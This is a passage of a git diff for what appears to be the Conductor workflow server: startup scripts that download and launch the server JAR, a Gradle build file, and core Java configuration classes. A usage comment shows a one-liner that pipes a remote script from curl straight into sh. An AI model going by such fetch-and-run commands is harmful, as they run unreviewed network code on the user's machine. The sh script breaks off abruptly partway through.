$SERVER_PORT = "8080" } + } else { + $SERVER_PORT = "8080" + } + } catch { + $SERVER_PORT = "8080" + } +} else { + $SERVER_PORT = "8080" +} +# Fallback if logic above left it null (e.g. non-interactive, no params) +if ([string]::IsNullOrEmpty($SERVER_PORT)) { $SERVER_PORT = "8080" } + + +# Determine Version +$CONDUCTOR_VERSION = "latest" +if (-not [string]::IsNullOrEmpty($Version)) { + $CONDUCTOR_VERSION = $Version +} elseif ([Environment]::UserInteractive -and $PSBoundParameters.Count -eq 0) { + $inputVersion = Read-Host "Enter the version [latest]" + if (-not [string]::IsNullOrEmpty($inputVersion)) { $CONDUCTOR_VERSION = $inputVersion } +} + +$JAR_NAME = "conductor-server-$CONDUCTOR_VERSION.jar" +$JAR_URL = "$REPO_URL/$JAR_NAME" + +# Use CONDUCTOR_HOME if set, otherwise use current directory +if ([string]::IsNullOrEmpty($env:CONDUCTOR_HOME)) { + $CONDUCTOR_HOME = "." +} else { + $CONDUCTOR_HOME = $env:CONDUCTOR_HOME +} + +$JAR_PATH = Join-Path $CONDUCTOR_HOME $JAR_NAME + +# Download JAR if not present +if (-not (Test-Path $JAR_PATH)) { + Write-Host "Downloading Conductor Server $CONDUCTOR_VERSION..." + if (-not (Test-Path $CONDUCTOR_HOME)) { + New-Item -ItemType Directory -Path $CONDUCTOR_HOME -Force | Out-Null + } + try { + Invoke-WebRequest -Uri $JAR_URL -OutFile $JAR_PATH + Write-Host "Downloaded to $JAR_PATH" + } catch { + Write-Host "Failed to download Conductor Server JAR: $_" + exit 1 + } +} + +Write-Host "Starting Conductor Server $CONDUCTOR_VERSION on port $SERVER_PORT..." +java -jar $JAR_PATH --server.port=$SERVER_PORT diff --git a/conductor_server.sh b/conductor_server.sh new file mode 100755 index 0000000..319a34d --- /dev/null +++ b/conductor_server.sh @@ -0,0 +1,80 @@ +#!/bin/sh +# Conductor Server Startup Script +# Downloads the server JAR if missing and starts it with java +# +# Usage: +# Interactive: ./conductor_server.sh +# With args: ./conductor_server.sh [PORT] [VERSION] +# ./conductor_server.sh 9090 3.22.0 +# ./conductor_server.sh 9090 +# ./conductor_server.sh latest (uses default port 8080) +# One-liner: curl -sSL https://raw.githubusercontent.com/conductor-oss/conductor/main/conductor_server.sh | sh +# With args: curl ... | sh -s -- 9090 3.22.0 + +# Check for Java and version 21+ +if ! command -v java >/dev/null 2>&1; then + echo "Error: Java is not installed or not in PATH" + exit 1 +fi + +JAVA_VERSION=$(java -version 2>&1 | head -n 1 | sed -E 's/.*"([0-9]+).*/\1/') +if [ -z "$JAVA_VERSION" ] || [ "$JAVA_VERSION" -lt 21 ] 2>/dev/null; then + echo "Error: JDK 21 or higher is required. Current version: $(java -version 2>&1 | head -n 1)" + exit 1 +fi + +# Defaults +SERVER_PORT=8080 +CONDUCTOR_VERSION="latest" +REPO_URL="https://conductor-server.s3.us-east-2.amazonaws.com" + +# Argument parsing: check if args are port numbers or versions +for arg in "$@"; do + if echo "$arg" | grep -q "^[0-9][0-9]*$"; then + SERVER_PORT="$arg" + else + CONDUCTOR_VERSION="$arg" + fi +done + +# If running interactively and no args provided, prompt user +if [ $# -eq 0 ] && [ -z "$CONDUCTOR_PORT" ] && [ -t 0 ]; then + printf "Enter the port for Server [8080]: " + read input_port + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +apply plugin: 'groovy' + +dependencies { + implementation project(':conductor-common') + + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'org.springframework.boot:spring-boot-starter-validation' + compileOnly 'org.springframework.retry:spring-retry' + + implementation "com.fasterxml.jackson.core:jackson-annotations:${revFasterXml}" + implementation "com.fasterxml.jackson.core:jackson-databind:${revFasterXml}" + + implementation "commons-io:commons-io:${revCommonsIo}" + + implementation "com.google.protobuf:protobuf-java:${revProtoBuf}" + + implementation "org.apache.commons:commons-lang3" + + implementation "com.fasterxml.jackson.core:jackson-core:${revFasterXml}" + + implementation "com.spotify:completable-futures:${revSpotifyCompletableFutures}" + + implementation "com.jayway.jsonpath:json-path:${revJsonPath}" + + implementation "io.reactivex:rxjava:${revRxJava}" + + implementation "org.apache.bval:bval-jsr:${revBval}" + + implementation "com.github.ben-manes.caffeine:caffeine" + + // Nashorn is deprecated and removed in Java 15+, replaced by GraalJS + // implementation "org.openjdk.nashorn:nashorn-core:15.4" + + implementation "io.micrometer:micrometer-core:${revMicrometer}" + implementation "com.google.guava:guava:${revGuava}" + + //GraalVM dependencies for executing JavaScript and Python + // PINNED (#964): all GraalVM artifacts must use the same version (revGraalVM in dependencies.gradle) + implementation("org.graalvm.polyglot:polyglot:${revGraalVM}") + implementation("org.graalvm.js:js:${revGraalVM}") + implementation("org.graalvm.js:js-scriptengine:${revGraalVM}") + implementation("org.graalvm.polyglot:python:${revGraalVM}") + implementation "org.graalvm.sdk:graal-sdk:${revGraalVM}" + // Optimizing Truffle runtime (UPL 1.0). Without it GraalJS runs in the Truffle + // interpreter, which is 10-100x slower than the JIT-compiled path. + implementation("org.graalvm.truffle:truffle-runtime:${revGraalVM}") + + // JAXB is not bundled with Java 11, dependencies added explicitly + // These are needed by Apache BVAL + implementation "jakarta.xml.bind:jakarta.xml.bind-api:${revJAXB}" + implementation "jakarta.activation:jakarta.activation-api:${revActivation}" + + // Only add it as a test dependency. The actual jaxb runtime provider is provided when building the server. + testImplementation "org.glassfish.jaxb:jaxb-runtime:${revJAXB}" + + testImplementation 'org.springframework.boot:spring-boot-starter-validation' + testImplementation 'org.springframework.retry:spring-retry' + testImplementation project(':conductor-common').sourceSets.test.output + + testImplementation "org.apache.groovy:groovy-all:${revGroovy}" + testImplementation "org.spockframework:spock-core:${revSpock}" + testImplementation "org.spockframework:spock-spring:${revSpock}" + testImplementation "org.junit.vintage:junit-vintage-engine" + + // Benchmark-only deps (test scope so they don't ship with production): + // Rhino — MPL 2.0, JVM-bytecode-compiled JS engine + testImplementation "org.mozilla:rhino:1.8.0" + // Javet — Apache 2.0 JNI bindings to V8 (BSD-3-Clause). Native lib for this host's + // arch only; add other -macos-x86_64 / -linux-x86_64 / -linux-arm64 variants for prod. + testImplementation "com.caoccao.javet:javet:4.1.2" + testImplementation "com.caoccao.javet:javet-v8-macos-arm64:4.1.2" +} + +// Standalone benchmark runner for comparing JS engines on representative Inline-task scripts. +// Run with: ./gradlew :conductor-core:benchmarkScripts +task benchmarkScripts(type: JavaExec) { + group = "verification" + description = "Run JS engine benchmark (GraalJS interpreter vs Rhino vs Javet/V8)" + classpath = sourceSets.test.runtimeClasspath + mainClass = "com.netflix.conductor.benchmark.ScriptEngineBenchmark" + jvmArgs = ["-Xmx2g"] +} diff --git a/core/src/main/java/com/netflix/conductor/annotations/Audit.java b/core/src/main/java/com/netflix/conductor/annotations/Audit.java new file mode 100644 index 0000000..3e55d78 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/annotations/Audit.java @@ -0,0 +1,24 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotations; + +import java.lang.annotation.Retention; +import java.lang.annotation.Target; + +import static java.lang.annotation.ElementType.TYPE; +import static java.lang.annotation.RetentionPolicy.RUNTIME; + +/** Mark service for custom audit implementation */ +@Target({TYPE}) +@Retention(RUNTIME) +public @interface Audit {} diff --git a/core/src/main/java/com/netflix/conductor/annotations/Trace.java b/core/src/main/java/com/netflix/conductor/annotations/Trace.java new file mode 100644 index 0000000..cf2b9ec --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/annotations/Trace.java @@ -0,0 +1,23 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotations; + +import java.lang.annotation.Retention; +import java.lang.annotation.Target; + +import static java.lang.annotation.ElementType.TYPE; +import static java.lang.annotation.RetentionPolicy.RUNTIME; + +@Target({TYPE}) +@Retention(RUNTIME) +public @interface Trace {} diff --git a/core/src/main/java/com/netflix/conductor/annotations/VisibleForTesting.java b/core/src/main/java/com/netflix/conductor/annotations/VisibleForTesting.java new file mode 100644 index 0000000..fb1ae76 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/annotations/VisibleForTesting.java @@ -0,0 +1,24 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotations; + +import java.lang.annotation.*; + +/** + * Annotates a program element that exists, or is more widely visible than otherwise necessary, only + * for use in test code. + */ +@Retention(RetentionPolicy.CLASS) +@Target({ElementType.FIELD, ElementType.TYPE, ElementType.METHOD}) +@Documented +public @interface VisibleForTesting {} diff --git a/core/src/main/java/com/netflix/conductor/core/LifecycleAwareComponent.java b/core/src/main/java/com/netflix/conductor/core/LifecycleAwareComponent.java new file mode 100644 index 0000000..153cea1 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/LifecycleAwareComponent.java @@ -0,0 +1,47 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.SmartLifecycle; + +public abstract class LifecycleAwareComponent implements SmartLifecycle { + + private volatile boolean running = false; + + private static final Logger LOGGER = LoggerFactory.getLogger(LifecycleAwareComponent.class); + + @Override + public final void start() { + running = true; + LOGGER.info("{} started.", getClass().getSimpleName()); + doStart(); + } + + @Override + public final void stop() { + running = false; + LOGGER.info("{} stopped.", getClass().getSimpleName()); + doStop(); + } + + @Override + public final boolean isRunning() { + return running; + } + + public void doStart() {} + + public void doStop() {} +} diff --git a/core/src/main/java/com/netflix/conductor/core/WorkflowContext.java b/core/src/main/java/com/netflix/conductor/core/WorkflowContext.java new file mode 100644 index 0000000..559506d --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/WorkflowContext.java @@ -0,0 +1,60 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core; + +/** Store the authentication context, app or username or both */ +public class WorkflowContext { + + public static final ThreadLocal THREAD_LOCAL = + InheritableThreadLocal.withInitial(() -> new WorkflowContext("", "")); + + private final String clientApp; + + private final String userName; + + public WorkflowContext(String clientApp) { + this.clientApp = clientApp; + this.userName = null; + } + + public WorkflowContext(String clientApp, String userName) { + this.clientApp = clientApp; + this.userName = userName; + } + + public static WorkflowContext get() { + return THREAD_LOCAL.get(); + } + + public static void set(WorkflowContext ctx) { + THREAD_LOCAL.set(ctx); + } + + public static void unset() { + THREAD_LOCAL.remove(); + } + + /** + * @return the clientApp + */ + public String getClientApp() { + return clientApp; + } + + /** + * @return the username + */ + public String getUserName() { + return userName; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/config/ConductorCoreConfiguration.java b/core/src/main/java/com/netflix/conductor/core/config/ConductorCoreConfiguration.java new file mode 100644 index 0000000..ee0e31d --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/config/ConductorCoreConfiguration.java @@ -0,0 +1,162 @@ +/* + * Copyright 2021 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.config; + +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadFactory; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.concurrent.BasicThreadFactory; +import org.conductoross.conductor.core.listener.MetadataChangeListener; +import org.conductoross.conductor.core.listener.MetadataChangeListenerStub; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.common.utils.ExternalPayloadStorage; +import com.netflix.conductor.core.events.EventQueueProvider; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.core.execution.mapper.TaskMapper; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.core.listener.TaskStatusListener; +import com.netflix.conductor.core.listener.TaskStatusListenerStub; +import com.netflix.conductor.core.listener.WorkflowStatusListener; +import com.netflix.conductor.core.listener.WorkflowStatusListenerStub; +import com.netflix.conductor.core.storage.DummyPayloadStorage; +import com.netflix.conductor.core.sync.Lock; +import com.netflix.conductor.core.sync.noop.NoopLock; +import com.netflix.conductor.core.utils.IDGenerator; + +import static com.netflix.conductor.core.events.EventQueues.EVENT_QUEUE_PROVIDERS_QUALIFIER; +import static com.netflix.conductor.core.execution.tasks.SystemTaskRegistry.ASYNC_SYSTEM_TASKS_QUALIFIER; + +import static java.util.function.Function.identity; + +@Configuration(proxyBeanMethods = false) +@EnableConfigurationProperties(ConductorProperties.class) +public class ConductorCoreConfiguration { + + private static final Logger LOGGER = LoggerFactory.getLogger(ConductorCoreConfiguration.class); + + @ConditionalOnProperty( + name = "conductor.workflow-execution-lock.type", + havingValue = "noop_lock", + matchIfMissing = true) + @Bean + public Lock provideLock() { + return new NoopLock(); + } + + @ConditionalOnProperty( + name = "conductor.external-payload-storage.type", + havingValue = "dummy", + matchIfMissing = true) + @Bean + public ExternalPayloadStorage dummyExternalPayloadStorage() { + LOGGER.info("Initialized dummy payload storage!"); + return new DummyPayloadStorage(); + } + + @ConditionalOnProperty( + name = "conductor.workflow-status-listener.type", + havingValue = "stub", + matchIfMissing = true) + @Bean + public WorkflowStatusListener workflowStatusListener() { + return new WorkflowStatusListenerStub(); + } + + @ConditionalOnProperty( + name = "conductor.task-status-listener.type", + havingValue = "stub", + matchIfMissing = true) + @Bean + public TaskStatusListener taskStatusListener() { + return new TaskStatusListenerStub(); + } + + @ConditionalOnProperty( + name = "conductor.metadata-change-listener.type", + havingValue = "stub", + matchIfMissing = true) + @Bean + public MetadataChangeListener metadataChangeListener() { + return new MetadataChangeListenerStub(); + } + + @Bean + public ExecutorService executorService(ConductorProperties conductorProperties) { + ThreadFactory threadFactory = + new BasicThreadFactory.Builder() + .namingPattern("conductor-worker-%d") + .daemon(true) + .build(); + return Executors.newFixedThreadPool( + conductorProperties.getExecutorServiceMaxThreadCount(), threadFactory); + } + + @Bean + @Qualifier("taskMappersByTaskType") + public Map getTaskMappers(List taskMappers) { + // Return mutable map so annotated task mappers can be added + return taskMappers.stream() + .collect( + Collectors.toMap( + TaskMapper::getTaskType, + identity(), + (a, b) -> a, + java.util.HashMap::new)); + } + + @Bean + @Qualifier(ASYNC_SYSTEM_TASKS_QUALIFIER) + public Set asyncSystemTasks(Set allSystemTasks) { + // Return mutable set so annotated tasks can be added + return allSystemTasks.stream() + .filter(WorkflowSystemTask::isAsync) + .collect(Collectors.toCollection(java.util.HashSet::new)); + } + + @Bean + @Qualifier(EVENT_QUEUE_PROVIDERS_QUALIFIER) + public Map getEventQueueProviders( + List eventQueueProviders) { + return eventQueueProviders.stream() + .collect(Collectors.toMap(EventQueueProvider::getQueueType, identity())); + } + + @Bean + @ConditionalOnMissingBean(IDGenerator.class) + public IDGenerator idGenerator() { + return new IDGenerator(); + } + + @Bean + public RetryTemplate onTransientErrorRetryTemplate() { + return RetryTemplate.builder() + .retryOn(TransientException.class) + .maxAttempts(3) + .noBackoff() + .build(); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/config/ConductorProperties.java b/core/src/main/java/com/netflix/conductor/core/config/ConductorProperties.java new file mode 100644 index 0000000..db6b4d7 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/config/ConductorProperties.java @@ -0,0 +1,621 @@ +/* + * Copyright 2021 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.config; + +import java.time.Duration; +import java.time.temporal.ChronoUnit; +import java.util.HashMap; +import java.util.Map; +import java.util.Properties; + +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.boot.convert.DataSizeUnit; +import org.springframework.boot.convert.DurationUnit; +import org.springframework.util.unit.DataSize; +import org.springframework.util.unit.DataUnit; + +import com.netflix.conductor.model.TaskModel; + +@ConfigurationProperties("conductor.app") +public class ConductorProperties { + + /** + * Name of the stack within which the app is running. e.g. devint, testintg, staging, prod etc. + */ + private String stack = "test"; + + /** The id with the app has been registered. */ + private String appId = "conductor"; + + /** The maximum number of threads to be allocated to the executor service threadpool. */ + private int executorServiceMaxThreadCount = 50; + + /** The timeout duration to set when a workflow is pushed to the decider queue. */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration workflowOffsetTimeout = Duration.ofSeconds(30); + + /** + * The maximum timeout duration to set when a workflow with running task is pushed to the + * decider queue. + */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration maxPostponeDurationSeconds = Duration.ofSeconds(3600); + + /** + * If set to true, a workflow blocked on an IN_PROGRESS HUMAN task is removed from the decider + * queue instead of being repeatedly re-swept. It is re-queued automatically when the HUMAN task + * is updated to a terminal status (see WorkflowExecutorOps#updateTask). + */ + private boolean humanTaskPreventsDeciderQueue = true; + + /** The number of threads to use to do background sweep on active workflows. */ + private int sweeperThreadCount = Runtime.getRuntime().availableProcessors() * 2; + + /** The timeout (in milliseconds) for the polling of workflows to be swept. */ + private Duration sweeperWorkflowPollTimeout = Duration.ofMillis(2000); + + /** The number of threads to configure the threadpool in the event processor. */ + private int eventProcessorThreadCount = 2; + + /** Used to enable/disable the indexing of messages within event payloads. */ + private boolean eventMessageIndexingEnabled = true; + + /** Used to enable/disable the indexing of event execution results. */ + private boolean eventExecutionIndexingEnabled = true; + + /** Used to enable/disable the workflow execution lock. */ + private boolean workflowExecutionLockEnabled = true; + + /** The time (in milliseconds) for which the lock is leased for. */ + private Duration lockLeaseTime = Duration.ofMillis(60000); + + /** + * The time (in milliseconds) for which the thread will block in an attempt to acquire the lock. + */ + private Duration lockTimeToTry = Duration.ofMillis(500); + + /** + * The time (in seconds) that is used to consider if a worker is actively polling for a task. + */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration activeWorkerLastPollTimeout = Duration.ofSeconds(10); + + /** + * The time (in seconds) for which a task execution will be postponed if being rate limited or + * concurrent execution limited. + */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration taskExecutionPostponeDuration = Duration.ofSeconds(60); + + /** Used to enable/disable the indexing of tasks. */ + private boolean taskIndexingEnabled = true; + + /** Used to enable/disable the indexing of task execution logs. */ + private boolean taskExecLogIndexingEnabled = true; + + /** Used to enable/disable asynchronous indexing to elasticsearch. */ + private boolean asyncIndexingEnabled = false; + + /** The number of threads to be used within the threadpool for system task workers. */ + private int systemTaskWorkerThreadCount = Runtime.getRuntime().availableProcessors() * 2; + + /** The max number of the threads to be polled within the threadpool for system task workers. */ + private int systemTaskMaxPollCount = systemTaskWorkerThreadCount; + + /** + * The interval (in seconds) after which a system task will be checked by the system task worker + * for completion. + */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration systemTaskWorkerCallbackDuration = Duration.ofSeconds(30); + + /** + * The interval (in milliseconds) at which system task queues will be polled by the system task + * workers. + */ + private Duration systemTaskWorkerPollInterval = Duration.ofMillis(50); + + /** The namespace for the system task workers to provide instance level isolation. */ + private String systemTaskWorkerExecutionNamespace = ""; + + /** + * The number of threads to be used within the threadpool for system task workers in each + * isolation group. + */ + private int isolatedSystemTaskWorkerThreadCount = 1; + + /** + * The duration of workflow execution which qualifies a workflow as a short-running workflow + * when async indexing to elasticsearch is enabled. + */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration asyncUpdateShortRunningWorkflowDuration = Duration.ofSeconds(30); + + /** + * The delay with which short-running workflows will be updated in the elasticsearch index when + * async indexing is enabled. + */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration asyncUpdateDelay = Duration.ofSeconds(60); + + /** + * Used to control the validation for owner email field as mandatory within workflow and task + * definitions. + */ + private boolean ownerEmailMandatory = true; + + /** + * The number of threads to be usde in Scheduler used for polling events from multiple event + * queues. By default, a thread count equal to the number of CPU cores is chosen. + */ + private int eventQueueSchedulerPollThreadCount = Runtime.getRuntime().availableProcessors(); + + /** The time interval (in milliseconds) at which the default event queues will be polled. */ + private Duration eventQueuePollInterval = Duration.ofMillis(100); + + /** The number of messages to be polled from a default event queue in a single operation. */ + private int eventQueuePollCount = 10; + + /** The timeout (in milliseconds) for the poll operation on the default event queue. */ + private Duration eventQueueLongPollTimeout = Duration.ofMillis(1000); + + /** + * The threshold of the workflow input payload size in KB beyond which the payload will be + * stored in {@link com.netflix.conductor.common.utils.ExternalPayloadStorage}. + */ + @DataSizeUnit(DataUnit.KILOBYTES) + private DataSize workflowInputPayloadSizeThreshold = DataSize.ofKilobytes(5120L); + + /** + * The maximum threshold of the workflow input payload size in KB beyond which input will be + * rejected and the workflow will be marked as FAILED. + */ + @DataSizeUnit(DataUnit.KILOBYTES) + private DataSize maxWorkflowInputPayloadSizeThreshold = DataSize.ofKilobytes(10240L); + + /** + * The threshold of the workflow output payload size in KB beyond which the payload will be + * stored in {@link com.netflix.conductor.common.utils.ExternalPayloadStorage}. + */ + @DataSizeUnit(DataUnit.KILOBYTES) + private DataSize workflowOutputPayloadSizeThreshold = DataSize.ofKilobytes(5120L); + + /** + * The maximum threshold of the workflow output payload size in KB beyond which output will be + * rejected and the workflow will be marked as FAILED. + */ + @DataSizeUnit(DataUnit.KILOBYTES) + private DataSize maxWorkflowOutputPayloadSizeThreshold = DataSize.ofKilobytes(10240L); + + /** + * The threshold of the task input payload size in KB beyond which the payload will be stored in + * {@link com.netflix.conductor.common.utils.ExternalPayloadStorage}. + */ + @DataSizeUnit(DataUnit.KILOBYTES) + private DataSize taskInputPayloadSizeThreshold = DataSize.ofKilobytes(3072L); + + /** + * The maximum threshold of the task input payload size in KB beyond which the task input will + * be rejected and the task will be marked as FAILED_WITH_TERMINAL_ERROR. + */ + @DataSizeUnit(DataUnit.KILOBYTES) + private DataSize maxTaskInputPayloadSizeThreshold = DataSize.ofKilobytes(10240L); + + /** + * The threshold of the task output payload size in KB beyond which the payload will be stored + * in {@link com.netflix.conductor.common.utils.ExternalPayloadStorage}. + */ + @DataSizeUnit(DataUnit.KILOBYTES) + private DataSize taskOutputPayloadSizeThreshold = DataSize.ofKilobytes(3072L); + + /** + * The maximum threshold of the task output payload size in KB beyond which the task input will + * be rejected and the task will be marked as FAILED_WITH_TERMINAL_ERROR. + */ + @DataSizeUnit(DataUnit.KILOBYTES) + private DataSize maxTaskOutputPayloadSizeThreshold = DataSize.ofKilobytes(10240L); + + /** + * The maximum threshold of the workflow variables payload size in KB beyond which the task + * changes will be rejected and the task will be marked as FAILED_WITH_TERMINAL_ERROR. + */ + @DataSizeUnit(DataUnit.KILOBYTES) + private DataSize maxWorkflowVariablesPayloadSizeThreshold = DataSize.ofKilobytes(256L); + + /** Used to limit the size of task execution logs. */ + private int taskExecLogSizeLimit = 10; + + /** + * This property defines the number of poll counts (executions) after which SystemTasks + * implementing getEvaluationOffset should begin postponing the next execution. + * + * @see + * com.netflix.conductor.core.execution.tasks.WorkflowSystemTask#getEvaluationOffset(TaskModel, + * long) + * @see com.netflix.conductor.core.execution.tasks.Join#getEvaluationOffset(TaskModel, long) + */ + private int systemTaskPostponeThreshold = 200; + + /** + * Timeout used by {@link com.netflix.conductor.core.execution.tasks.SystemTaskWorker} when + * polling, i.e.: call to {@link com.netflix.conductor.dao.QueueDAO#pop(String, int, int)}. + */ + @DurationUnit(ChronoUnit.MILLIS) + private Duration systemTaskQueuePopTimeout = Duration.ofMillis(100); + + public String getStack() { + return stack; + } + + public void setStack(String stack) { + this.stack = stack; + } + + public String getAppId() { + return appId; + } + + public void setAppId(String appId) { + this.appId = appId; + } + + public int getExecutorServiceMaxThreadCount() { + return executorServiceMaxThreadCount; + } + + public void setExecutorServiceMaxThreadCount(int executorServiceMaxThreadCount) { + this.executorServiceMaxThreadCount = executorServiceMaxThreadCount; + } + + public Duration getWorkflowOffsetTimeout() { + return workflowOffsetTimeout; + } + + public void setWorkflowOffsetTimeout(Duration workflowOffsetTimeout) { + this.workflowOffsetTimeout = workflowOffsetTimeout; + } + + public Duration getMaxPostponeDurationSeconds() { + return maxPostponeDurationSeconds; + } + + public void setMaxPostponeDurationSeconds(Duration maxPostponeDurationSeconds) { + this.maxPostponeDurationSeconds = maxPostponeDurationSeconds; + } + + public boolean isHumanTaskPreventsDeciderQueue() { + return humanTaskPreventsDeciderQueue; + } + + public void setHumanTaskPreventsDeciderQueue(boolean humanTaskPreventsDeciderQueue) { + this.humanTaskPreventsDeciderQueue = humanTaskPreventsDeciderQueue; + } + + public int getSweeperThreadCount() { + return sweeperThreadCount; + } + + public void setSweeperThreadCount(int sweeperThreadCount) { + this.sweeperThreadCount = sweeperThreadCount; + } + + public Duration getSweeperWorkflowPollTimeout() { + return sweeperWorkflowPollTimeout; + } + + public void setSweeperWorkflowPollTimeout(Duration sweeperWorkflowPollTimeout) { + this.sweeperWorkflowPollTimeout = sweeperWorkflowPollTimeout; + } + + public int getEventProcessorThreadCount() { + return eventProcessorThreadCount; + } + + public void setEventProcessorThreadCount(int eventProcessorThreadCount) { + this.eventProcessorThreadCount = eventProcessorThreadCount; + } + + public boolean isEventMessageIndexingEnabled() { + return eventMessageIndexingEnabled; + } + + public void setEventMessageIndexingEnabled(boolean eventMessageIndexingEnabled) { + this.eventMessageIndexingEnabled = eventMessageIndexingEnabled; + } + + public boolean isEventExecutionIndexingEnabled() { + return eventExecutionIndexingEnabled; + } + + public void setEventExecutionIndexingEnabled(boolean eventExecutionIndexingEnabled) { + this.eventExecutionIndexingEnabled = eventExecutionIndexingEnabled; + } + + public boolean isWorkflowExecutionLockEnabled() { + return workflowExecutionLockEnabled; + } + + public void setWorkflowExecutionLockEnabled(boolean workflowExecutionLockEnabled) { + this.workflowExecutionLockEnabled = workflowExecutionLockEnabled; + } + + public Duration getLockLeaseTime() { + return lockLeaseTime; + } + + public void setLockLeaseTime(Duration lockLeaseTime) { + this.lockLeaseTime = lockLeaseTime; + } + + public Duration getLockTimeToTry() { + return lockTimeToTry; + } + + public void setLockTimeToTry(Duration lockTimeToTry) { + this.lockTimeToTry = lockTimeToTry; + } + + public Duration getActiveWorkerLastPollTimeout() { + return activeWorkerLastPollTimeout; + } + + public void setActiveWorkerLastPollTimeout(Duration activeWorkerLastPollTimeout) { + this.activeWorkerLastPollTimeout = activeWorkerLastPollTimeout; + } + + public Duration getTaskExecutionPostponeDuration() { + return taskExecutionPostponeDuration; + } + + public void setTaskExecutionPostponeDuration(Duration taskExecutionPostponeDuration) { + this.taskExecutionPostponeDuration = taskExecutionPostponeDuration; + } + + public boolean isTaskExecLogIndexingEnabled() { + return taskExecLogIndexingEnabled; + } + + public void setTaskExecLogIndexingEnabled(boolean taskExecLogIndexingEnabled) { + this.taskExecLogIndexingEnabled = taskExecLogIndexingEnabled; + } + + public 